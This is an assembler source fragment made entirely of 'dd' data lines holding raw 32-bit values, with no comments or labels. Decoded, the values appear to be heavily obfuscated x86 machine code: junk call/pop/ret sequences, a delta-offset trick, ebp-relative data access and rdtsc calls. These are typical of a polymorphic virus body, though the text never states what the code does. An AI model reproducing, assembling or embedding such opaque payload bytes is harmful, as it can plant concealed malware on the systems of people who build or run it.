dd 1F122985h, 0BD836106h, 61F137Dh, 0E5840F01h, 6A000003h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h
dd 46000000h, 0F740C356h, 0CD8E1285h, 9D8BE67Fh, 61F0EB1h
dd 808BF66h, 137DBD83h, 0F03061Fh, 37586h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
dd 0B6DB48D3h, 56006A60h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 64C65EB8h, 89D98C66h
dd 1F1B3D9Dh, 4E18006h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 0AFC35242h, 60C12CECh, 0F6493810h, 0AD9D8B92h
dd 0A061F2Ch, 34840FC9h, 8B000001h, 1F1D01BDh, 8BFA8B06h
dd 1F0DC185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1704h, 0C3564600h, 1D8B3E4Bh, 2EC98533h, 6A061Fh, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
dd 0D4E2EBC3h, 90DA8B2Eh, 7E9h, 44603500h, 0C1B826BCh
dd 830F50h, 90000000h, 6890Fh, 8D890000h, 61F2C49h, 6A006Ah
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 0E9FDD6C3h, 0Bh, 64D2658Bh, 11AD14EAh, 0F58619Bh, 1582h
dd 10E900h, 2F670000h, 0A799FA31h, 59182C75h, 8AB78E5Ch
dd 0DB6830DAh, 607F6EA0h, 0B866F78Ah, 8161EECBh, 0A3242434h
dd 11E97F71h, 75000000h, 8BC46BF3h, 7DDFA753h, 7CA2A827h
dd 675EBB1Ch, 2DE195FFh, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 1B0424h, 57470000h, 158619C3h, 0C9806460h
dd 74AEBBFFh, 858900E4h, 622B255h, 4160DB81h, 0E9FC6F89h
dd 15Bh, 6E9h, 79DCA800h, 8B2B255Dh, 22B24D85h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
dd 37DFE116h, 0DEF79354h, 0C7AA59h, 18h, 0E572CB81h, 0B5895849h
dd 61F1501h, 0B251B58Bh, 81660622h, 8B0BCACBh, 1F13A185h
dd 0B5BD8906h, 89061F06h, 0C1858B06h, 0F061F0Dh, 681h
dd 0B5958900h, 89061F15h, 0AE80446h, 0C2000000h, 7A79B36Ah
dd 0C40D1722h, 15BD2345h, 5B061F17h, 0DA8B6650h, 66243489h
dd 606652BFh, 8410F081h, 950B7215h, 61F0E05h, 4DB5FF61h
dd 0F0622B2h, 18Bh, 0DA68FC00h, 8AF2BCABh, 240481FAh, 0D625825h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 98C35545h
dd 0F23A960Ah, 665760E7h, 895EF98Bh, 1F2BA585h, 858D6106h
dd 622B255h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 17h, 4CC35545h, 8BA8203Ah, 1F13F99Dh, 0BB665006h, 4890892h
dd 599D8924h, 0FF061F17h, 1F2DE195h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 70186DF4h
dd 7F6D2527h, 0BF0F8446h, 119501F8h, 61061F16h, 2419BD89h
dd 85C7061Fh, 61F137Dh, 3, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 17h, 0F8C35141h, 29376DADh, 1F13C9BDh, 0A9953106h
dd 83061F31h, 22B255BDh, 840F0006h, 2Ah, 0C8B0Fh, 8B600000h
dd 1F19598Dh, 0A3BF6606h, 896061ABh, 1F066595h, 0EB816606h
dd 0E961BB42h, 21h, 2099BD8Bh, 3050061Fh, 4400110Ch, 0E8C10111h
dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
dd 11043001h, 7504E983h, 8B00EBE7h, 50006AC0h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 96DDD959h
dd 0F41E8FEBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 0AC35747h, 0F4DD17F2h, 1850F51h, 0F8000000h, 7DBD835Fh
dd 3061F13h, 440850Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1B0424h, 53430000h, 0BFAF7EC3h, 0FE5BFF01h
dd 55BD8341h, 622B2h, 410840Fh, 0B5890000h, 61F0CBDh, 0B255B5FFh
dd 6A0622h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 0FAD9DCC3h, 64EC2771h, 1BC995FFh, 0DB80061Fh
dd 0AE92Fh, 0B3440000h, 0F53D2493h, 6B93487Bh, 0B249B58Bh
dd 0BD8B0622h, 61F19D9h, 106C7h, 0F88B0001h, 57D5DF81h
dd 6050384Dh, 3589BA66h, 2E61B866h, 24348961h, 10E9h, 74FD900h
dd 9B7AB819h, 77303930h, 72936124h, 55B5FF77h, 660622B2h
dd 9A46D381h, 162195FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 140424h, 52420000h, 56F926C3h, 2D699531h
dd 8B5F061Fh, 22B249B5h, 0DE906h, 0CAE30000h, 0EFD8E835h
dd 5580008Eh, 8BD49363h, 1F2FF185h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 9D700EBDh
dd 0B426100Eh, 1B918D89h, 8689061Fh, 0C4h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 7C35545h, 0EA4658Dh
dd 81FB8B39h, 7DA859DBh, 5D958B15h, 83061F0Bh, 0AE804C2h
dd 29000000h, 0F791CFF5h, 4BE4979Ch, 0D99531CBh, 5F061F10h
dd 89205089h, 1F2B9195h, 97858D06h, 6A0622C7h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 4B30C356h, 86892457h, 0B8h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ch, 48C35747h, 0EC7BC9B4h, 375C3058h
dd 0B3E7BF66h, 757A12BBh, 0E9006A72h, 8, 625F44D1h, 28D3BF71h
dd 0B255B5FFh, 0BF0F0622h, 5595FFFAh, 80061F2Fh, 0CB806CD7h
dd 0F50961Bh, 489h, 0BFBF6600h, 6A96C7h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0B2705DC3h
dd 89C7628Dh, 0B255B5FFh, 9D8B0622h, 61F2A3Dh, 0E1D95FFh
dd 0BD8B061Fh, 61F2F0Dh, 2C0DBD83h, 0F00061Fh, 6C84h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
dd 662CA453h, 96CCB6BBh, 8E9h, 0A59FE00h, 3AA6509Dh, 11E950E2h
dd 7C000000h, 6E960616h, 0BA91287Eh, 0C83D4961h, 55FC1024h
dd 50006A96h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h
dd 0C3504000h, 8B910346h, 1F2B09BDh, 55B5FF06h, 660622B2h
dd 0FF7939BBh, 1F134995h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 71852919h
dd 0FF061F2Ah, 22B255B5h, 0BF0F5006h, 95FF5BFEh, 61F1075h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0D2C35747h
dd 0B8496207h, 0CAB6B60Ah, 51D48A60h, 0CD9858Bh, 615A061Fh
dd 9BD83h, 0F02061Fh, 0C284h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 15641369h
dd 13E85836h, 91000000h, 423CC1B0h, 459CCD2Dh, 43A03940h
dd 7D0C6DA0h, 8E9D9C6h, 70000000h, 9EFB55A8h, 5FE2A2DEh
dd 1751858Bh, 6A061Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 9F8DF1C3h, 6945172Ah, 13F59D89h
dd 11E9061Fh, 0E2000000h, 0FEC4705Fh, 2E477F74h, 13C97CC5h
dd 1BBA73C4h, 6A0000C6h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 1D54C357h, 5805BC79h
dd 0BD031133h, 61F1AF1h, 5320E380h, 2679BD89h, 0C75B061Fh
dd 1F129185h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 36F20339h, 94970C1Fh
dd 9D8BBE2Ah, 61F08C1h, 2AED9D89h, 5CE9061Fh, 6AFFFFF3h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 36DDC351h, 711E190h, 0BD8BAA3Bh, 61F05B9h
dd 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
dd 53430000h, 6B85F6C3h, 8197AFC6h, 579BD8Bh, 858D061Fh
dd 61F19BDh, 10E8h, 82097700h, 0C2CC99Fh, 8E38EF12h, 24CBB0BBh
dd 21BD8B75h, 5F061F08h, 89D88B50h, 0BB662404h, 6A0B87h
dd 14DD9D2Bh, 6A061Fh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 72C35040h, 8D01EDA4h, 61F310Dh, 4F6E858Dh
dd 0B70F0623h, 5C083DEh, 39F78166h, 666050B1h, 8961C28Bh
dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 0D98C17C3h, 0E3C72C8Ah, 0DEBF0FFBh, 6A006Ah
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
dd 31B723C3h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 0FEF23BC3h, 0D08AB59Ah, 6195FFFCh
dd 6A061F01h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 6577C351h, 4B88BB06h, 0E99D3160h
dd 61061F1Bh, 1F35BD8Bh, 8D8D061Fh, 622B1F2h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 2BC35646h, 1AE22958h
dd 58C0Fh, 81660000h, 0FF106BF7h, 19589D1h, 83061F0Fh
dd 1F0EF5BDh, 850F0106h, 6Ah, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Bh, 29C35141h, 4901A1DBh, 0F00AD9Dh
dd 684h, 0E5BD8900h, 6A061F13h, 9ACB8102h, 504B1A88h, 0E7FBBF56h
dd 895F5036h, 0BD8B2404h, 61F00E9h, 2F5595FFh, 6A061Fh
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
dd 46E9E7C3h, 0E800000Eh, 0
dd 78ED815Dh, 6A06234Fh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 14042444h, 46000000h, 3BAC356h, 1F1219BDh
dd 6AFE8A06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 4B73C357h, 0B7DF8B66h, 0E4858DC6h
dd 6A06228Eh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 2563C357h, 0E0D91h, 775BD8Bh
dd 0B790061Fh, 6A9050B0h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1A042444h, 47000000h, 302BC357h, 4D599BA9h
dd 0D9BD8BDFh, 0E9061F10h, 0Dh, 42AA63F6h, 289700DBh, 3453160h
dd 35FF649Eh, 0
dd 6651FE8Ah, 645FDA8Bh, 2589h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 7A0C3h, 0F53AEB03h
dd 0F811E12h, 85FFDABFh, 61F1029h, 7DD9D8Bh, 0FF6A061Fh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0E9C35646h
dd 0DED5A203h, 1F4CAE2Fh, 7DB5FFC2h, 0BF061F15h, 6A5C73F3h
dd 2AB9BD03h, 95FF061Fh, 61F1CEDh, 13FE9h, 0B0FC00h, 1B840Fh
dd 0E9600000h, 0Eh, 0A5663AE2h, 33227E28h, 0FEF11163h
dd 0F781441Fh, 1534709h, 8970E661h, 1F3011B5h, 8971E406h
dd 1F2FED8Dh, 0F613C06h, 10383h, 0FA8B6600h, 89C8B60Fh
dd 1F2C259Dh, 6BA06h, 6E80000h, 50000000h, 0A6B43F5Ah
dd 0C7816616h, 895BD437h, 1F090195h, 8BC18B06h, 1F2EA1BDh
dd 4E8C106h, 0F766FE8Bh, 0FD9589E2h, 2B061F0Fh, 0D18BFCC8h
dd 2F259D8Bh, 860F061Fh, 0Bh, 5860Fh, 0AFBF0000h, 0E95DECD5h
dd 6, 31C1BD23h, 858B061Fh, 61F3069h, 2DF1BD23h, 0C083061Fh
dd 0EE907h, 35720000h, 0A465D20h, 0E545EB74h, 0FFFED19Dh
dd 0E800C083h, 12h, 0AA11DA75h, 0E49B8E58h, 0C06716CFh
dd 13F8F7DDh, 0BF0F4FC5h, 0D03B5FDEh, 16830Fh, 0BD8B0000h
dd 61F1B99h, 4BE9h, 6E900h, 0DDE40000h, 0EE305AB3h, 2C298D8Bh
dd 9D8B061Fh, 61F2CA5h, 66CF8B60h, 8361D08Bh, 840F01E1h
dd 24h, 1B199529h, 0A583061Fh, 61F2C29h, 0DBD8BFEh, 89061F31h
dd 1F306995h, 8F0F06h, 0E9000000h, 0
dd 0D2DAB58Dh, 0FA8B0622h, 0AE9h, 59051F00h, 310C6187h
dd 6A410B59h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1504h, 0C3554500h, 8D898BC0h, 61F24A1h, 1D4595FFh, 6A061Fh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 59D71C3h, 0E04B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1704h, 0C3504000h, 0E1DB69ABh, 83FE8B66h
dd 8B66FCE1h, 8D89FCFEh, 61F1679h, 0D22BC02Bh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5AC35040h, 69892A11h
dd 6E68B499h, 0ADF98B66h, 0E8D1C233h, 0E983D003h, 6AF47504h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 0B93BC351h, 7B0123CAh, 0F05AFE4h, 58Ah, 0CB816600h
dd 0E9BBB6F0h, 6A2B7B09h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 1B042444h, 47000000h, 0F095C357h, 3502C52Ch
dd 880DB330h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 19042444h, 42000000h, 4EDDC352h, 0A02A9E2Fh
dd 6A99D89h, 958B061Fh, 61F0B5Dh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 1BC35242h, 14622C3h, 0C5958980h
dd 8B061F2Ah, 1F20C58Dh, 0B1C38006h, 8BC28B50h, 8BC10318h
dd 0D1C18B18h, 8BC203E8h, 9D895818h, 61F18A5h, 12B5B509h
dd 0BD83061Fh, 61F078Dh, 7F840F00h, 52000000h, 9E1BD8Bh
dd 0B85B061Fh, 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 94C35747h
dd 6E9h, 1279DB00h, 8DADE21Ah, 1F4DB08Dh, 51006A06h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 9FB3F009h, 6AE1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 0A41C37C3h, 2B5DBF67h, 0BD8340C1h
dd 61F137Dh, 1F840F00h, 2B000004h, 1F23D5BDh, 7DBD8306h
dd 1061F13h, 427840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 190424h, 53430000h, 0A82285C3h, 830DF317h
dd 1F137DBDh, 860F0306h, 3C3h, 0B870FF5h, 60000000h, 2F95958Bh
dd 8B66061Fh, 896061D3h, 1F0D619Dh, 0D3F38106h, 66650F2Fh
dd 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
dd 52420000h, 0CB817FC3h, 37B94D1Bh, 6604E180h, 0DDB8E381h
dd 840FC90Ah, 123h, 13C9B531h, 858B061Fh, 61F0DC1h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 74C35646h, 9D8B7CBFh
dd 61F08BDh, 2EC98533h, 7E9061Fh, 0D0000000h, 0CC8551B4h
dd 0E950484Eh, 6, 853A9BF4h, 489D1A7h, 6A006A24h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
dd 0A1E6C357h, 0FE1E39A6h, 71BD8B2Eh, 68061F16h, 1D9F1E52h
dd 11E8h, 9EAF5700h, 0D9FD7FAAh, 3F373079h, 91BF3F0Bh
dd 815B6987h, 1DAD2434h, 6A1D80h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 0EAABBAC3h, 0F26F6351h
dd 5766B78Ah, 68F0Fh, 8D010000h, 61F2C2Dh, 0FE95Fh, 0DCCF0000h
dd 0A4BE8D56h, 49AAB8E9h, 0F6438E70h, 0E195FF24h, 6A061F2Dh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h
dd 40000000h, 2D18C350h, 0F91925DBh, 0B2558589h, 9D330622h
dd 61F1FC1h, 1B0E9h, 4D858900h, 8B061F1Dh, 22B24D85h, 56006A06h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 0EAEF3437h, 0BD8B0A8Dh, 61F19FDh, 6E9h, 0E2065A00h
dd 0C7CFA161h, 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 0F2C6C4F8h, 61BD8B9Bh
dd 60061F03h, 19B1B589h, 9D2B061Fh, 61F19C5h, 51B58B61h
dd 6A0622B2h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 9A4DC356h, 0F1267722h, 8B01D065h
dd 1F0A01BDh, 0FAB70F06h, 13A1858Bh, 85BF061Fh, 89616E8Bh
dd 0A93DBB06h, 858B19B2h, 61F0DC1h, 0C5C3C781h, 4689380Bh
dd 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 0D3BC7F63h, 56A67417h, 0BD038067h, 61F1045h
dd 13E950h, 89F60000h, 0F79D9B6Dh, 0D62EC638h, 0AF936CEEh
dd 54B2A13Ah, 243489ACh, 0D3816650h, 95F57ECh, 1F000D85h
dd 4DB5FF06h, 6A0622B2h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1B042444h, 42000000h, 32AAC352h, 0E356821h
dd 95893E78h, 61F1A5Dh, 0AE822868h, 0E9525078h, 12h, 95D7B4BEh
dd 0F2321588h, 7FBB2B6Fh, 3A219484h, 310F3123h, 6830Fh
dd 850F0000h, 0
dd 3481585Ah, 0B181D724h, 0FABF0F78h, 0B255858Dh, 0BD290622h
dd 61F2E99h, 52505090h, 0FD88B66h, 5A5B5031h, 9D8B9058h
dd 61F08EDh, 2DE195FFh, 0BF0F061Fh, 6A61FEh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 140424h, 50400000h, 0BB663CC3h
dd 0E953654Fh, 9, 95C304D6h, 8EFE7ECCh, 85C75FA1h, 61F137Dh
dd 3, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h
dd 73C35646h, 0E2878490h, 587ABF66h, 0B255BD83h, 0F000622h
dd 3684h, 21BD0300h, 0E9061F24h, 46h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 79C35040h, 29C16BDEh, 1F2B7D85h
dd 859D8906h, 50061F30h, 110C30h, 0C1011144h, 443010E8h
dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh, 64001104h
dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h, 4300111h
dd 4E98311h, 0EBE775h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 170424h, 51410000h, 0B04E04C3h, 870FE4h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1C042444h, 47000000h, 8EEAC357h, 432FE995h, 0FF48F21h
dd 0BD83DABFh, 61F137Dh, 86850F03h, 6A000004h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
dd 16B7C351h, 8B8A2C1Fh, 1F1B459Dh, 9E906h, 47D10000h
dd 5F4A2B40h, 837AF828h, 22B255BDh, 840F0006h, 445h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0E6C35242h, 0DE8h
dd 0C1E44500h, 0EC4CD568h, 3ADDD55Bh, 0B5297FF7h, 61F146Dh
dd 55B5FF5Fh, 890622B2h, 1F2089BDh, 0C995FF06h, 6A061F1Bh
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h
dd 42000000h, 0EC46C352h, 0B249B58Bh, 85890622h, 61F2E11h
dd 106C7h, 6A0001h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1B0424h, 51410000h, 0DD8D0FC3h, 9CD81FA2h, 15B58966h
dd 96061F14h, 0E8F0Fh, 52500000h, 645ADEBFh, 66310F04h
dd 585ADA8Bh, 96F88A50h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 16h, 9EC35545h, 8B52FA81h, 1F0F399Dh, 0B5FF5B06h
dd 622B255h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 69C35242h, 2E687471h, 0FF596000h, 1F162195h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
dd 7B858609h, 9589FCB8h, 61F0005h, 0B249B58Bh, 0B5890622h
dd 61F0069h, 2FF1858Bh, 6A061Fh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 1BB482C3h, 868932B4h
dd 0C4h, 18D58D89h, 958B061Fh, 61F0B5Dh, 0E850006Ah, 3
dd 58C35820h, 4244489h, 4244481h, 16h, 0D8C35040h, 0BD8B0807h
dd 61F2F85h, 6A04C283h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 4C5AC351h, 5C60DDEBh
dd 2359BD89h, 0F381061Fh, 443FD393h, 0B3205089h, 97858D6Ah
dd 8B0622C7h, 0B88689F8h, 80000000h, 6A3BE7h, 1674E381h
dd 0B5FF2D9Dh, 622B255h, 78D0Fh, 880F0000h, 1, 0D58589FCh
dd 0FF061F2Ah, 1F2F5595h, 50006A06h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 0C5BD027Dh
dd 0EE86049h, 2A000000h, 63E52BE1h, 3686E823h, 117C2D4Bh
dd 39B58954h, 58061F0Eh, 0F861F48Ah, 108B0F96h, 60000000h
dd 5E9h, 3F88BF00h, 0B9669012h, 5061B665h, 6696D98Bh, 0FF1DB7BFh
dd 22B255B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1904h, 0C3524200h, 459B099h, 95FF148Ch, 61F0E1Dh, 1971DB81h
dd 0BD83466Ah, 61F2C0Dh, 52840F00h, 6A000000h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 0F873C352h, 0CE6FEF9Fh, 8BA81B18h, 1F11759Dh, 0A8BF5006h
dd 895A1226h, 6A2434h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 170424h, 53430000h, 3483BCC3h, 55B5FF8Bh, 6A0622B2h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h
dd 43000000h, 6335C353h, 9D2380B3h, 61F2BE1h, 134995FFh
dd 0D88B061Fh, 0FE8h, 4D20C500h, 6F0043C0h, 7A420349h
dd 0ECFC79DDh, 0AE8h, 0AE31BB00h, 8DED703Eh, 8B5C7F43h
dd 1F1D559Dh, 0FF5F5F06h, 22B255B5h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0CD1565A4h
dd 1B767E14h, 7595FF1Eh, 0F061F10h, 0BD83DFB7h, 61F0009h
dd 79840F02h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 0D3CEC350h, 0DE486089h
dd 0E81A5E24h, 8, 0FBE029D6h, 0DD61067Bh, 2FBD9D09h, 8B5B061Fh
dd 1F175185h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 429E17ADh, 3EF27B47h, 6195316Ch
dd 0F061F30h, 0C6D9B7h, 0DC806000h, 95958908h, 61061F2Dh
dd 129185C7h, 61Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 6BFA3BC3h, 6DCF818Dh
dd 89D57C51h, 1F0CD18Dh, 0F308E906h, 6AFFFFh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 24B15EC3h
dd 0E0EDD5EBh, 6AC18B1Fh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 14042444h, 40000000h, 8BC6C350h, 1F1671BDh
dd 0BD858D06h, 0E9061F19h, 7, 44471557h, 50D71005h, 7A76BF66h
dd 6A240489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 18042444h, 45000000h, 8F56C355h, 6A0D78D3h, 0B8CF8000h
dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
dd 56460000h, 53AF02C3h, 0C0939CBh, 0D38166D9h, 0EF813DE9h
dd 1C98D1B3h, 5F71858Dh, 0CEB30623h, 0E905C083h, 0Eh, 9200F079h
dd 16A8DBAAh, 0B37AA0BAh, 89500089h, 6A2404h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 150424h, 50400000h, 0BF99D0C3h
dd 5A2E5D69h, 6AF7D780h, 0ADBD8B00h, 89061F18h, 1F1F99B5h
dd 6A006A06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 16042444h, 41000000h, 6B79C351h, 5B5297Ah, 0FF061F30h
dd 1F016195h, 0EE806h, 98EB0000h, 0ABE1AA00h, 51E3E5ABh
dd 0C3991E9Ah, 1B05BD8Bh, 8D5F061Fh, 22B1F28Dh, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h
dd 81664C79h, 0FF1243C3h, 0BD0B52D1h, 61F12D5h, 0F5BD835Bh
dd 1061F0Eh, 6F850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 0FFE7A4C3h, 85893321h
dd 61F318Dh, 0BA58D89h, 26A061Fh, 2D4DBD8Bh, 5090061Fh
dd 0AE952h, 72750000h, 0FDA033B9h, 0AC4235C4h, 585A310Fh
dd 7E950h, 3F850000h, 9F86B349h, 0E38190ADh, 3588EEFBh
dd 19CDB589h
dd 95FF061Fh, 61F2F55h, 42DCF6BBh, 0E4EE919h, 0E80000h
dd 5D000000h, 5F7BED81h, 6A0623h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1D0424h, 56460000h, 5BF4D1C3h, 0B79F10DDh
dd 0BF424665h, 50E6B38Fh, 0CD9D8B60h, 0F061F24h, 281h
dd 61616000h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 0A3C35747h, 54D1D316h, 6F5CC845h, 0E4858DF5h, 6A06228Eh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h
dd 43000000h, 8B12C353h, 1F12659Dh, 8F0F9006h, 14h, 5E95250h
dd 0D000000h, 0F3771587h, 0BF66310Fh, 585A450Fh, 0A181BB50h
dd 64902E41h, 35FFh, 89640000h, 25h, 8D9D0300h, 0FF061F30h
dd 1F102985h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 0F87EBE87h, 0B5BDB240h, 0E98D3113h
dd 6A061F0Ah, 15B5FFFFh, 6A061F1Dh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 4507C353h
dd 4EC6D899h, 0A90D9E2h, 0ED95FFF8h, 0E9061F1Ch, 11Fh
dd 0F6000B0h, 0C88BC7BFh, 0E970E661h, 14h, 0BF590DEAh
dd 26CDBF0Bh, 146E4CEFh, 20829081h, 87471E20h, 0CF8071E4h
dd 0F613C30h, 0EE83h, 89858900h, 0F061F11h, 9589C8B6h
dd 61F2B85h, 6BAh, 0DA8B6600h, 13E9C18Bh, 16000000h, 7FC82EE0h
dd 0EDCD644Bh, 0B5660A08h, 4770F80Eh, 0E8C14D39h, 7D858904h
dd 66061F0Dh, 0C82BE2F7h, 2A659D29h, 0D18B061Fh, 6E9F8h
dd 9D290000h, 61F08B1h, 721858Bh, 8B66061Fh, 7C083DFh
dd 0DE9h, 0DA539000h, 2420660Fh, 84D9BE68h, 0C0838E3Eh
